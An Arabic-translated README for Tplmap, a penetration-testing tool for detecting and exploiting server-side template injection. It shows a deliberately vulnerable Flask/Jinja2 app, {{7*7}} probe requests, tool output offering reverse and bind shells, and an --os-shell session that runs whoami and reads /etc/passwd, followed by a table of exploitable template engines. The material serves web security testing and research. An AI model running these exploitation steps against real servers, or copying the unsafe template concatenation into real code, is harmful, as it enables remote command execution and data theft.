
أداة كشف واستغلال حقن القوالب من جانب الخادم وحقن الأكواد
======
هذا المشروع لم يعد مدعومًا. أنا سعيد بدمج طلبات السحب الجديدة طالما أنها لا تكسر مجموعة الاختبارات.
يساعد Tplmap في استغلال ثغرات حقن الكود وحقن القوالب من جانب الخادم باستخدام عدد من تقنيات الهروب من الصندوق الرمل للوصول إلى نظام التشغيل الأساسي.
تم تطوير الأداة ومجموعة الاختبارات الخاصة بها للبحث في فئة ثغرات SSTI واستخدامها كأداة أمنية هجومية أثناء اختبارات اختراق تطبيقات الويب.
جاءت تقنيات كسر الصندوق الرمل من Server-Side Template Injection: RCE For The Modern Web App لجيمس كيت، وأبحاث عامة أخرى [1] [2]، ومساهمات أصلية لهذه الأداة [3] [4].
يمكنها استغلال عدة سياقات كود وسيناريوهات حقن أعمى. كما أنها تدعم حقن كود شبيه بـ eval() في Python و Ruby و PHP و Java ومحركات قوالب عامة غير محصنة.
افترض أنك تقوم بتدقيق موقع ويب يقوم بإنشاء صفحات ديناميكية باستخدام قوالب مكونة من قيم يقدمها المستخدم، مثل تطبيق الويب هذا المكتوب بـ Python و Flask الذي يستخدم محرك القوالب Jinja2 بطريقة غير آمنة.
from flask import Flask, request
from jinja2 import Environment
app = Flask(__name__)
Jinja2 = Environment()
@app.route("/page")
def page():
name = request.values.get('name')
# SSTI VULNERABILITY
# The vulnerability is introduced concatenating the
# user-provided `name` variable to the template string.
output = Jinja2.from_string('Hello ' + name + '!').render()
# Instead, the variable should be passed to the template context.
# Jinja2.from_string('Hello {{name}}!').render(name = name)
return output
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
من منظور اختبار الصندوق الأسود، تعكس الصفحة القيمة بشكل مشابه لثغرة XSS، ولكنها أيضًا تحسب عملية أساسية في وقت التشغيل مما يكشف عن طبيعتها كـ SSTI.
$ curl -g 'http://www.target.com/page?name=John'
Hello John!
$ curl -g 'http://www.target.com/page?name={{7*7}}'
Hello 49!
يمكن لـ Tplmap اكتشاف واستغلال SSTI في مجموعة من محركات القوالب للوصول إلى نظام الملفات ونظام التشغيل الأساسيين. قم بتشغيلها على عنوان URL لاختبار ما إذا كانت المعاملات قابلة للاستغلال.
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
...
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name
Engine: Jinja2
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, python code
[+] Rerun tplmap providing one of the following options:
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
استخدم الخيار --os-shell لتشغيل طرفية شبه حقيقية على الهدف.
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Run commands on the operating system.
linux $ whoami
www
linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
يدعم Tplmap أكثر من 15 محرك قوالب، ومحركات قوالب غير محصنة، وحقن شبيهة بـ eval() عامة.
انظر burp_extension/README.md.
| المحرك | تنفيذ الأوامر عن بعد | أعمى | تقييم الكود | قراءة الملف | كتابة الملف |
|---|
| Mako | ✓ | ✓ | Python | ✓ | ✓ |
| Jinja2 | ✓ | ✓ | Python | ✓ | ✓ |
| Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ |
| Tornado | ✓ | ✓ | Python | ✓ | ✓ |
| Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Pug | ✓ | ✓ | JavaScript | ✓ | ✓ |
| doT | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Marko | ✓ | ✓ | JavaScript | ✓ | ✓ |
| JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Dust (<= [email protected]) | ✓ | ✓ | JavaScript | ✓ | ✓ |
| EJS | ✓ | ✓ | JavaScript | ✓ | ✓ |
| Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ |
| Slim | ✓ | ✓ | Ruby | ✓ | ✓ |
| ERB | ✓ | ✓ | Ruby | ✓ | ✓ |
| Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ |
| PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ |
| Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
| Freemarker | ✓ | ✓ | Java | ✓ | ✓ |
| Velocity | ✓ | ✓ | Java | ✓ | ✓ |
| Twig (>1.19) | × | × | × | × | × |
| Smarty (secured) | × | × | × | × | × |
| Dust (> [email protected]) | × | × | × | × | × |